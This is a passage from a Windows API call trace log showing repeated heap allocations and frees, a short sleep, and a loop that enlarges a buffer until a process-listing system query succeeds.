(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0147.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0147.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0147.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c6840) returned 1 [0147.628] Sleep (dwMilliseconds=0x64) [0147.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1cd660d0 [0147.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd660d0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1cd660d0, ResultLength=0x0) returned 0xc0000004 [0147.733] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0147.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0147.733] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0147.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0147.734] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x1cdd8c30 [0147.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0147.734] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x50b4) returned 0x1cdd8c30 [0147.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0147.734] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x60d8) returned 0x1cdd8c30 [0147.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0147.735] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x70fc) returned 0x1cdd8c30 [0147.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0147.735] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x8120) returned 0x1cda08c0 [0147.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.736] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0147.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.736] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0147.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.737] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0147.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.737] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0147.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.737] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0147.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.738] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0147.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.738] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0147.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.739] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0147.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.739] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0147.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.739] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0147.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.740] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0147.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.740] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0147.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.741] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0147.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.741] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0147.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.742] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0147.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.742] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0147.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.743] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x42390080 [0147.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.744] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1a3a8) returned 0x42390080 [0147.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.744] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1b3cc) returned 0x42390080 [0147.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.745] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1c3f0) returned 0x42390080 [0147.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.745] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1d414) returned 0x42390080 [0147.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.746] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1e438) returned 0x42390080 [0147.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0x0 [0147.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0147.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0147.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0147.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0147.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0147.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda07f0 [0147.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x420590b0 [0147.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0147.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0147.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda07f0 [0147.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x420590b0 [0147.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0147.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda07f0 [0147.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0147.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0152.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ef70 [0152.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.505] RtlFreeHeap 